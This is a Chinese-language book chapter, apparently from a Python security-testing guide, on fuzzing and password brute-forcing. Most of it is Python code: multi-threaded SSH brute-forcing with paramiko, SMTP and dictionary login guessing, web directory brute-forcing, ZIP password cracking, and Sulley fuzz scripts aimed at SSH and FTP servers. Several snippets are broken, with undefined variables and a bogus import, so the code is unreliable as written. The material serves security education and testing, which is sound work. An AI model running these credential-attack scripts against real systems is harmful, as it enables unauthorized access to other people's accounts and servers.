安全测试人员可以拥有的最有用的工具之一是测试应用程序参数的模糊工具。模糊技术在发现安全漏洞方面非常有效,因为它可以通过扫描应用程序攻击面来发现弱点。Fuzzer 可以测试应用程序的目录遍历、命令执行、SQL 注入和跨站点脚本漏洞。
最好的模糊器是高度可定制的,因此在本章中,我们将学习如何构建我们自己的模糊器,用于特定的应用程序。
本章涵盖的主题如下:
通常,模糊化过程包括以下阶段:
基于目标、使用的攻击向量和模糊方法,存在许多模糊分类。模糊目标包括文件格式、网络协议、命令行参数、环境变量、web 应用程序和许多其他。模糊可以根据生成测试用例的方式进行广泛分类。它们是变异模糊(dump)和生成模糊(intelligent)。
创建完全随机输入的模糊器称为变异或转储模糊器。这种类型的模糊器盲目地改变现有的输入值。但它缺乏可理解的数据格式或结构。例如,它可以替换或附加一个随机数据片到所需的输入。
生成模糊器从头开始创建输入,而不是改变现有输入。因此,它需要一定程度的智能才能生成至少对目标应用程序有意义的输入。
与变异模糊器不同,这种类型的模糊器将理解文件格式、协议等。此外,这种类型的模糊器很难创建,但效率更高。
密码可以通过猜测或尝试用各种可能的单词和字母组合登录来破解。如果密码很复杂,包含数字、字符和特殊字符,则可能需要数小时、数周或数月的时间。
使用所有可能的密码进行测试时,首先使用可能被用作密码的单词,如姓名和地点。这个方法和我们注射的方法一样。
我们可以从字典文件中读取密码,并在应用程序中进行如下尝试:
with open('password-dictionary.txt') as f:
for password in f:
try:
# Use the password to try login
print "[+] Password Found: %s" % password
break;
except :
print "[!] Password Incorrect: %s" % password
在这里,我们阅读dictionary
文件并尝试脚本中的每个密码。当特定密码生效时,它将在控制台中打印它。
您可以在此处下载 fuzz 数据库的完整列表:https://github.com/fuzzdb-project/fuzzdb 。
我们可以使用 Python 脚本自动执行暴力攻击来破坏 SSH 登录。在这里,我们尝试使用多个用户名和密码,以使用自动 Python 脚本绕过 SSH 身份验证。对于强制 SSH,我们必须使用名为paramiko的模块,它允许我们连接到 SSH。
首先,我们导入所需的模块:
import paramiko, sys, os, socket
import itertools,string,crypt
然后初始化静态变量,如密码大小、目标 IP、目标端口和用户:
PASS_SIZE = 5
IP = "127.0.0.1"
USER = "root"
PORT=22
var = itertools.combinations(string.digits,PASS_SIZE)
检查每个密码:
try:
for i in var:
passwd = ''.join(i)
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_clienth.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IP , port=PORT, username=USER, password=passwd)
print "Password Found= "+passwd
break
except paramiko.AuthenticationException, error:
print "Faild Attempt: "+passwd
continue
except socket.error, error:
print error
continue
except paramiko.SSHException, error:
print error
continue
except Exception, error:
print "Unknown error: "+error
continue
ssh.close()
except Exception,error :
print error
我们可以使用线程模块使此脚本成为多线程:
import paramiko, sys, os, socket, threading, time
import itertools,string,crypt
PASS_SIZE = 5
def bruteforce_list(charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1)))
def attempt(Password):
IP = "127.0.0.1"
USER = "rejah"
PORT=22
try:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IP , port=PORT, username=USER, password=Password)
print "Connected successfully. Password = "+Password
except paramiko.AuthenticationException, error:
print "Incorrect password: "+Password
pass
except socket.error, error:
print error
pass
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
pass
except Exception, error:
print "Unknown error: "+error
pass
ssh.close()
except Exception,error :
print error
letters_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQSTUVWXYZ1234567890!@#$&()'
在这里,我们使用线程使模糊并行运行,以提高速度:
for i in bruteforce_list(letters_list, PASS_SIZE):
t = threading.Thread(target=attempt, args=(i))
t.start()
time.sleep(0.3)
sys.exit(0)
简单邮件传输协议(SMTP)是跨网络传输电子邮件的标准。电子邮件服务器和其他邮件传输代理使用 SMTP 发送和接收电子邮件。电子邮件客户端应用程序通常只使用 SMTP 发送电子邮件。要对 SMTP 执行暴力密码审核,我们可以使用smtplib
模块,它帮助我们连接到 SMTP。
像往常一样,导入所需的模块:
import sys, smtplib, socket
from smtplib import SMTP
设置IP
和USER
。您还可以将这些值作为输入参数:
IP = "127.0.0.1"
USER = "admin"
使用密码列表中的每个密码检查 SMTP:
attackNumber = 1
with open('passwordlist.txt') as f:
for PASSWORD in f:
try:
print "-"*12
print "User:",USER,"Password:",PASSWORD
smtp = smtplib.SMTP(IP)
smtp.login(user, value)
print "\t\nLogin successful:",user, value
smtp.quit()
work.join()
sys.exit(2)
except(socket.gaierror, socket.error, socket.herror,
smtplib.SMTPException), msg:
print "An error occurred:", msg
我们可以编写一个定制的爬行脚本来爬网目标网站,以发现有关 web 应用程序的足够信息。但是,通常会有大量配置文件、遗留开发文件、备份文件、调试脚本和许多其他文件,这些文件可以提供有关 web 应用程序的敏感信息,或公开应用程序开发人员不打算公开的某些功能。
发现此类内容的方法是使用暴力强制来跟踪常见的文件名和目录。拥有我们自己的定制脚本总是非常好的,它将帮助我们定制目标文件并根据我们的需求过滤结果。
首先,像往常一样,我们导入所需的模块。这里我们使用线程来并行运行多个请求。但一定要保持低线;大量线程可能导致拒绝服务:
import urllib
import urllib2
import threading
import Queue
threads = 50 # Be aware that a large number of threads can cause a denial of service!!!
target_url = "http://www.example.com"
wordlist_file = "directory-list.txt"
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
现在,我们定义一个函数来读取单词列表文件,并形成一个单词数组来使用暴力:
def wordlist(wordlist_file):
wordlist_file = open(wordlist_file,"rb")
raw_words = wordlist_file.readlines()
wordlist_file.close()
words = Queue.Queue()
# iterating each word in the word file
for word in raw_words:
word = word.rstrip()
words.put(word)
return words
接下来,我们将定义一个函数,使用单词列表中单词的可能扩展名来强制 URL,这将检查文件扩展名的单词,如果不是文件,我们将附加一个额外的斜杠(/
),并为每个单词创建一个尝试列表,其中包含可能的扩展名和目录斜杠。创建尝试列表后,请检查附加到所提供 URL 的尝试列表中的每个条目:
def dir_bruteforce(extensions=None):
while not word_queue.empty():
attempt = word_queue.get()
attempt_list = []
# check for a file extension, if not it's a directory
if "." not in attempt:
attempt_list.append("/%s/" % attempt)
else:
attempt_list.append("/%s" % attempt)
# if we want to bruteforce extensions
if extensions:
for extension in extensions:
attempt_list.append("/%s%s" % (attempt,extension))
# iterate with list of attempts
for brute in attempt_list:
url = "%s%s" % (target_url,urllib.quote(brute))
try:
headers = {}
headers["User-Agent"] = user_agent
r = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(r)
if len(response.read()):
print "[%d] => %s" % (response.code,url)
except urllib2.HTTPError,e:
# print output If error code is not 404
if e.code != 404:
print "!!! %d => %s" % (e.code,url)
pass
word_queue = wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]
然后我们在线程模式下启动蛮力:
for i in range(threads):
t = threading.Thread(target=dir_bruteforce,args=(extensions,))
t.start()
正如我们所讨论的,同样的方法也可用于破解受保护 ZIP 文件中的密码。为此,我们使用zipfile
模块:
import zipfile
filename = 'test.zip'
dictionary = 'passwordlist.txt'
password = None
file_to_open = zipfile.ZipFile(filename)
with open(dictionary, 'r') as f:
for line in f.readlines():
password = line.strip('\n')
try:
file_to_open.extractall(pwd=password)
password = 'Password found: %s' % password
print password
except:
pass
通过使用模糊框架,我们可以在更短的时间内创建模糊程序。fuzzing 框架提供了一个灵活且可重用的开发环境,有助于快速构建 Fuzzer。
Sulley 是一个 Python 模糊测试框架,由多个可扩展组件组成,可用于模糊文件格式、网络协议、命令行参数等。Sulley 可以监控网络并系统地维护记录。它还可以监视目标的运行状况。
Sulley 依靠 PaiMei 和 pcapy。PaiMei 是一个反向工程框架,用于调试模糊应用程序和pcap
捕获数据包。
PaiMei 有很多依赖项,比如提供 Python 数据库 API 的 MySQL 数据库服务器、wxPython、GraphViz、Oreas GDE、uDraw、pydot 和 ctypes。因此,我们必须首先安装这些依赖项。
在 Debian Linux 中,我们可以从apt-get
存储库安装 pydot、ctypes、wxPython 和 GraphViz:
$ apt-get instal
l python-ctypeslib python-pydot python-wxgtk2.8 python-mysqldb python-pygraphviz
然后我们可以从下载 PaiMeihttp://www.openrce.org/downloads/details/208 。
解压缩 zip 文件后,运行_install_requirements.py
文件以安装其需求。之后,安装 MySql 服务器,如果它未安装在主机中:
$ apt-get install mysql-server
然后,使用__setup_mysql.py
文件配置 MySQL 服务器。为此,请使用 MySQL 服务器凭据作为参数运行以下 Python 脚本:
$ python __setup_mysql.py hostname username password
然后通过运行安装脚本安装 PaiMei,就像我们对其他 Python 模块所做的那样:
$ python setup.py build
$ python setup.py install
我们还需要安装pcapy
库。要安装pcapy
库,我们可以依赖apt-get
存储库:
$ apt-get install python-pcapy python-impacket
现在我们已经安装了所有的先决条件。因此,我们可以克隆sulley
库并利用它:
$ git clone https://github.com/OpenRCE/sulley.git
然后,进入sulley
文件夹:
$ cd sulley
要验证安装,请使用 Python 运行process_monitor.py
脚本和network_monitor.py
:
$ sudo python process_monitor.py
结果如下:
$ python network_monitor.py
结果如下:
要在 Windows 和 Linux 上安装,请先安装必备软件。
要安装 PaiMei,请像在 Linux 上一样从链接下载 PaiMei 并运行__install_requirements.py
:
$ python __install_requirements.py
这将安装 PaiMei 的依赖项(ctypes、pydot、wxPython、MySQLdb、Graphviz、Oreas GDE 和 uDraw)。
然后,运行 MySQL 安装程序script.python __setup_mysql.py
主机名用户名密码。
之后,通过运行 build 和 install 命令安装 PaiMei 库:
$ python setup.py build
$ python setup.py install
然后我们必须下载并安装libdasm
。从下载 http://libdasm.googlecode.com/files/libdasm-beta.zip 并运行安装程序。
然后,从pip
安装pcapy
:
$ pip install pcapy
现在,克隆sulley
库:
$ git clone https://github.com/OpenRCE/sulley.git
我们可以通过运行process_monitor_unix.py
和network_monitor.py
来检查安装情况。
安装有什么问题吗?以下是 Windows 的详细安装说明:https://github.com/OpenRCE/sulley/wiki/Windows-Installation 。
在开始使用 sulley 编写模糊脚本之前,我们需要对 sulley 中使用的语法有一个基本的了解。当我们编写使用 sulley 模糊特定目标的 Python 脚本时,我们需要定义所有必需的对象。所有 sulley 命令都以s_
前缀开头。以下是将用于构建脚本的几个部分:
要创建一个静态的非变异值,我们可以使用s_static()
。
要创建一个四字节字,我们可以使用s_int()
。例如,要创建一个以555
开头并以 ASCII 格式格式化的突变整数:
s_int("555", format="ascii", fuzzable=True)
基本体可以嵌套在块中。这些块可以以s_block_start()
开始,以s_block_end()
结束。组是原语的集合;我们可以用s_group()
组成一个小组。列出各种 HTTP 方法的静态组原语示例如下:
s_group("methods", values=["GET", "HEAD", "POST", "TRACE"])
分组允许我们将块附加到组原语,以指定块应通过所有可能的方式循环。我们可以使用如下所示的块来迭代这些静态 HTTP 方法。这定义了一个名为"body"
的新块,并将其与前面的组关联:
if s_block_start(“body”, group=”method”)
s_delim("/")
s_string("index.html")
s_delim(" ")
s_block_end()
我们可以将多个请求连接在一起,形成一个会话。Sulley 能够通过将请求链接到图形中,在协议中模糊化深度。Sulley 遍历了图形结构,从根节点开始,一路上模糊每个组件。
现在我们可以编写一个脚本来模糊 SSH 连接。
首先,导入模块sulley
和paramiko
。确保脚本位于我们从 GitHub 下载的 sulley 程序的根目录中:
from sulley import *
import sulley.primitives
import paramiko
然后,将用户名和密码设置为字符串原语。Sulley 提供了表示这些字段的s_string()
原语,以表示包含的数据是可模糊的字符串。字符串可以是任何内容,如电子邮件地址、主机名、用户名、密码等:
user = primitives.string("user")
pwd = primitives.string("password")
然后,初始化 paramiko SSH 客户端以尝试连接到 SSH:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
接下来我们可以开始模糊化:
while(user.mutate() and pwd.mutate()):
username = user.value
password = pwd.value
try:
# Try to connect to the server with the mutated credentials
client.connect("192.168.1.107", 22, username, password, timeout=5)
client.close()
except Exception,e:
print "error! %s" % e
这将尝试更改用户名和密码,并尝试使用 paramiko 连接到服务器。
同样,我们可以模糊 FTP 协议。这里,我们从 requests 和 sulley 导入 FTP:
from sulley import *
from requests import ftp
现在,我们指示 sulley 在开始模糊之前等待横幅:
def recv_banner(sock):
sock.recv(1024)
然后,我们初始化会话,它跟踪我们的模糊化。这允许我们停止并重新开始之前停止的模糊处理:
sess = sessions.session("ftp_test.session")
现在,我们可以使用目标 FTP 服务器的 IP 和端口号定义目标:
target = sessions.target("192.168.1.107",21)
然后我们可以指示网络嗅探器在同一台主机上设置自己,并在26300
上监听:
target.netmon = pedrpc.client("192.168.1.107",26300)
现在,设置目标并抓取 FTP 横幅:
sess.add_target(target)
sess.pre_send(recv_banner)
尝试验证 FTP 连接:
sess.connect(s_get("user"))
sess.connect(s_get("user"),s_get("pass"))
验证后,我们可以使用需要验证的命令,如下所示:
sess.connect(s_get("pass"),s_get("cwd"))
sess.connect(s_get("pass"),s_get("mkd"))
sess.connect(s_get("pass"),s_get("rmd"))
sess.connect(s_get("pass"),s_get("list"))
sess.connect(s_get("pass"),s_get("delete"))
sess.connect(s_get("pass"),s_get("port"))
最后,指示 sulley 启动fuzz
:
sess.fuzz()
您可以在此处了解有关 sulley 及其用法的更多信息:http://www.fuzzing.org/wp-content/SulleyManual.pdf 。
我们已经学习了模糊和密码强制的基本方法。现在我们可以扩展脚本以满足我们自己的需要。有许多模糊和暴力工具可用,但定制脚本总是更好地获得我们的特定结果。在下一章中,我们将详细讨论如何使用 Python 库进行调试和反向工程。